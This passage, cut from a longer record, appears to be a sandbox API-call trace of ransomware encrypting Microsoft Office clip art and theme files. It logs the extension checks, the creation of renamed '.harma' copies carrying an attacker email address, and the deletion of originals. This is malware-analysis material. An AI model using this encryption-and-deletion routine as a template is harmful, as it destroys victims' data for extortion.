63 [0143.427] lstrlenW (lpString=".1cd") returned 4 [0143.427] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0143.427] lstrlenW (lpString=".jpg") returned 4 [0143.427] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.427] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.427] lstrlenW (lpString="WNTER_01.MID") returned 12 [0143.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.431] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=6915) returned 1 [0143.431] CloseHandle (hObject=0x328) returned 1 [0143.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0143.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.431] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.431] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0143.432] GetLastError () returned 0x0 [0143.432] ReadFile (in: hFile=0x328, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x1b03, lpOverlapped=0x0) returned 1 [0143.434] WriteFile (in: hFile=0x33c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0143.435] ReadFile (in: hFile=0x328, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0143.435] WriteFile (in: hFile=0x33c, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.435] SetEndOfFile (hFile=0x33c) returned 1 [0143.435] CloseHandle (hObject=0x33c) returned 1 [0143.435] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.435] SetEndOfFile (hFile=0x328) returned 1 [0143.438] CloseHandle (hObject=0x328) returned 1 [0143.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0143.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.440] lstrlenW (lpString=".doc") returned 4 [0143.440] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.440] lstrlenW (lpString=".docx") returned 5 [0143.440] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.440] lstrlenW (lpString=".pdf") returned 4 [0143.440] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.440] lstrlenW (lpString=".xls") returned 4 [0143.440] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.440] lstrlenW (lpString=".xlsx") returned 5 [0143.440] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.440] lstrlenW (lpString=".ppt") returned 4 [0143.440] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.440] lstrlenW (lpString=".zip") returned 4 [0143.440] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.440] lstrlenW (lpString=".rar") returned 4 [0143.440] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.440] lstrlenW (lpString=".bz2") returned 4 [0143.440] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.440] lstrlenW (lpString=".7z") returned 3 [0143.440] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.440] lstrlenW (lpString=".dbf") returned 4 [0143.440] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.440] lstrlenW (lpString=".1cd") returned 4 [0143.441] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.441] lstrlenW (lpString=".jpg") returned 4 [0143.441] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.441] lstrlenW (lpString=".doc") returned 4 [0143.441] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.441] lstrlenW (lpString=".docx") returned 5 [0143.441] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.441] lstrlenW (lpString=".pdf") returned 4 [0143.441] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.441] lstrlenW (lpString=".xls") returned 4 [0143.441] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.441] lstrlenW (lpString=".xlsx") returned 5 [0143.441] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.441] lstrlenW (lpString=".ppt") returned 4 [0143.441] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.441] lstrlenW (lpString=".zip") returned 4 [0143.441] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.441] lstrlenW (lpString=".rar") returned 4 [0143.442] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.442] lstrlenW (lpString=".bz2") returned 4 [0143.442] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.442] lstrlenW (lpString=".7z") returned 3 [0143.442] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.442] lstrlenW (lpString=".dbf") returned 4 [0143.442] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.442] lstrlenW (lpString=".1cd") returned 4 [0143.442] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0143.442] lstrlenW (lpString=".jpg") returned 4 [0143.442] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.442] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0143.442] lstrlenW (lpString="Adjacency.eftx") returned 14 [0143.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.445] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=21089) returned 1 [0143.445] CloseHandle (hObject=0x358) returned 1 [0143.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 0x20 [0143.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0143.446] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.446] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0143.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.131] GetLastError () returned 0x0 [0144.131] ReadFile (in: hFile=0x358, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x5261, lpOverlapped=0x0) returned 1 [0144.180] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x5270, lpOverlapped=0x0) returned 1 [0144.181] ReadFile (in: hFile=0x358, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.181] WriteFile (in: hFile=0x368, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0144.181] SetEndOfFile (hFile=0x368) returned 1 [0144.182] CloseHandle (hObject=0x368) returned 1 [0144.182] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.182] SetEndOfFile (hFile=0x358) returned 1 [0144.184] CloseHandle (hObject=0x358) returned 1 [0144.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx")) returned 1 [0144.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.185] lstrlenW (lpString=".doc") returned 4 [0144.185] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.185] lstrlenW (lpString=".docx") returned 5 [0144.185] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.186] lstrlenW (lpString=".pdf") returned 4 [0144.186] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString=".xls") returned 4 [0144.186] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString=".xlsx") returned 5 [0144.186] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.186] lstrlenW (lpString=".ppt") returned 4 [0144.186] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.186] lstrlenW (lpString=".zip") returned 4 [0144.186] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString=".rar") returned 4 [0144.186] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString=".bz2") returned 4 [0144.186] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString=".7z") returned 3 [0144.186] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.186] lstrlenW (lpString=".dbf") returned 4 [0144.186] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.186] lstrlenW (lpString=".1cd") returned 4 [0144.186] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.186] lstrlenW (lpString=".jpg") returned 4 [0144.186] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.186] lstrlenW (lpString=".doc") returned 4 [0144.186] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.186] lstrlenW (lpString=".docx") returned 5 [0144.187] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.187] lstrlenW (lpString=".pdf") returned 4 [0144.187] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString=".xls") returned 4 [0144.187] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString=".xlsx") returned 5 [0144.187] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.187] lstrlenW (lpString=".ppt") returned 4 [0144.187] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.187] lstrlenW (lpString=".zip") returned 4 [0144.187] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString=".rar") returned 4 [0144.187] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString=".bz2") returned 4 [0144.187] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString=".7z") returned 3 [0144.187] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.187] lstrlenW (lpString=".dbf") returned 4 [0144.187] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.187] lstrlenW (lpString=".1cd") returned 4 [0144.187] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx") returned 81 [0144.187] lstrlenW (lpString=".jpg") returned 4 [0144.187] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.187] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.188] lstrlenW (lpString="Austin.eftx") returned 11 [0144.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.322] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=26989) returned 1 [0144.322] CloseHandle (hObject=0x34c) returned 1 [0144.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 0x20 [0144.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.337] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.337] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.338] GetLastError () returned 0x0 [0144.338] ReadFile (in: hFile=0x34c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x696d, lpOverlapped=0x0) returned 1 [0144.343] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x6970, lpOverlapped=0x0) returned 1 [0144.344] ReadFile (in: hFile=0x34c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.344] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0144.344] SetEndOfFile (hFile=0x350) returned 1 [0144.345] CloseHandle (hObject=0x350) returned 1 [0144.345] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.345] SetEndOfFile (hFile=0x34c) returned 1 [0144.357] CloseHandle (hObject=0x34c) returned 1 [0144.357] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx")) returned 1 [0144.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.358] lstrlenW (lpString=".doc") returned 4 [0144.358] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.358] lstrlenW (lpString=".docx") returned 5 [0144.358] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.358] lstrlenW (lpString=".pdf") returned 4 [0144.358] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.358] lstrlenW (lpString=".xls") returned 4 [0144.358] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.358] lstrlenW (lpString=".xlsx") returned 5 [0144.358] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.358] lstrlenW (lpString=".ppt") returned 4 [0144.358] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.358] lstrlenW (lpString=".zip") returned 4 [0144.358] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.358] lstrlenW (lpString=".rar") returned 4 [0144.359] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString=".bz2") returned 4 [0144.359] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString=".7z") returned 3 [0144.359] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.359] lstrlenW (lpString=".dbf") returned 4 [0144.359] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.359] lstrlenW (lpString=".1cd") returned 4 [0144.359] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.359] lstrlenW (lpString=".jpg") returned 4 [0144.359] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.359] lstrlenW (lpString=".doc") returned 4 [0144.359] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString=".docx") returned 5 [0144.359] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.359] lstrlenW (lpString=".pdf") returned 4 [0144.359] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString=".xls") returned 4 [0144.359] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString=".xlsx") returned 5 [0144.359] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.359] lstrlenW (lpString=".ppt") returned 4 [0144.359] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.359] lstrlenW (lpString=".zip") returned 4 [0144.360] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.360] lstrlenW (lpString=".rar") returned 4 [0144.360] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.360] lstrlenW (lpString=".bz2") returned 4 [0144.360] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.360] lstrlenW (lpString=".7z") returned 3 [0144.360] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.360] lstrlenW (lpString=".dbf") returned 4 [0144.360] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.360] lstrlenW (lpString=".1cd") returned 4 [0144.360] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx") returned 78 [0144.360] lstrlenW (lpString=".jpg") returned 4 [0144.360] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.360] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.360] lstrlenW (lpString="Black Tie.eftx") returned 14 [0144.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.372] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33bff1c | out: 